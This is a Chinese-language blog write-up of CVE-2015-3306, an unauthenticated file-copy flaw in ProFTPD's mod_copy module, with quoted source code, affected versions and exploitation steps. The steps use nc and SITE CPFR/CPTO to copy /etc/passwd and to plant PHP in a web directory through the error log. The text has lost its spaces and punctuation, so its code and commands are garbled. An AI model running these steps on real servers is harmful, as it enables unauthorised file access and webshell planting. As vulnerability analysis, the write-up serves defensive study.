探索黑客技术攻防,实战研究与安全创新

导航菜单

Proftpdmod_copy模块命令未授权调用

该漏洞原标题为UnauthenticatedcopyingoffilesviaSITECPFR/CPTOallowedbymod_copy,意为mod_copy模块允许通过SITECPFR/CPTO命令来实现未授权的文件拷贝,编号CVE-2015-3306。

漏洞分析

本次漏洞发生在mod_copy模块,该模块中,对于执行CPFR和CPTO命令的函数并未进行身份认证,现在看下正常的身份认证代码,在\contrib\mod_copy.c第477行。


MODRETcopy_copy(cmd_rec*cmd){
if(cmd-argc2){
returnPR_DECLINED(cmd);
}
if(strncasecmp(cmd-argv[1],COPY,5)==0){
char*cmd_name,*from,*to;
unsignedchar*authenticated;
if(cmd-argc!=4){
returnPR_DECLINED(cmd);
}
authenticated=get_param_ptr(cmd-server-conf,authenticated,FALSE);
if(authenticated==NULL||
*authenticated==FALSE){
pr_response_add_err(R_530,_(PleaseloginwithUSERandPASS));
returnPR_ERROR(cmd);
}


从代码段中不难看出,authenticated代表了身份认证的结果,如果该值不为真的时候,则会弹出提示“pleaselogin…”,接下来再看此次出现问题的函数,代码在\contrib\mod_copy.c第594行。


MODRETcopy_cpto(cmd_rec*cmd){
registerunsignedinti;
char*from,*to=;
if(cmd-argc3||
strncasecmp(cmd-argv[1],CPTO,5)!=0){
returnPR_DECLINED(cmd);
}
CHECK_CMD_MIN_ARGS(cmd,3);
from=pr_table_get(session.notes,mod_copy.cpfr-path,NULL);
if(from==NULL){
pr_response_add_err(R_503,_(Badsequenceofcommands));
returnPR_ERROR(cmd);
}
/*Constructthetargetfilenamebyconcatenatingalltheparametersafter
*theSITECPTO,separatingthemwithspaces.
*/
for(i=2;i=cmd-argc-1;i++){
to=pstrcat(cmd-tmp_pool,to,*to?:,
pr_fs_decode_path(cmd-tmp_pool,cmd-argv[i]),NULL);
}
to=dir_canonical_vpath(cmd-tmp_pool,to);
if(copy_paths(cmd-tmp_pool,from,to)0){
intxerrno=errno;
pr_response_add_err(R_550,%s:%s,cmd-argv[1],strerror(xerrno));
errno=xerrno;
returnPR_ERROR(cmd);
}
pr_response_add(R_250,%s,_(Copysuccessful));
returnPR_HANDLED(cmd);
}


copy_cpto函数即为执行SITECPTO时调用的函数,在该函数中,并未存在任何身份认证代码,即在未进行身份认证也就是未登录的情况下,可以使用该函数,而SITECPFR命令同理,均为进行身份认证。两个命令配合起来,即可实现文件的拷贝和移动。

漏洞利用

nc链接目标IP端口,如ncxx.xx.xx.xx21,即可输入命令进行操作。首先演示移动文件,执行如下命令即可将passwd文件移动到tmp目录。

sitecpfr/etc/passwd

sitecpto/tmp/Stefanie

当服务器开放了Web服务,并且猜到Web目录的情况下,可以通过如下方式,拷贝webshell到Web目录。


sitecpfr/etc/passwd
sitecpto?phpphpinfo();?
sitecpfr/proc/self/fd/3
sitecpto/var/www/test.php
“sitecpto?phpphpinfo();?”用于故意创建一个错误的使用方式,此操作会将php代码写入proftpd的错误日志,后面则是将该文件复制到web目录。此时php文件的内容如下:
2015-04-0402:01:13,159slon-P5Qproftpd[16255]slon-P5Q
(slon-P5Q.lan[192.168.3.193]):errorrewindingscoreboard:Invalidargument
2015-04-0402:01:13,159slon-P5Qproftpd[16255]slon-P5Q
(slon-P5Q.lan[192.168.3.193]):FTPsessionopened.
2015-04-0402:01:27,943slon-P5Qproftpd[16255]slon-P5Q
(slon-P5Q.lan[192.168.3.193]):erroropeningdestinationfile/?php
phpinfo();?forcopying:Permissiondenied


影响范围

2011-11-09的proftpd-1.3.4到2014-05-15的proftpd-1.3.5。

CentOS编译安装需使用配置./configure--with-modules=mod_copy,否则会不存在该模块,测试时修改后使用yuminstall也并不存在该模块;Ubuntu默认apt-getinstall即存在该漏洞。

本文为网络安全技术研究记录,文中技术研究环境为本地搭建或经过目标主体授权测试研究,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,在挖掘、提交相关漏洞的过程中,应严格遵守相关法律法规。

相关推荐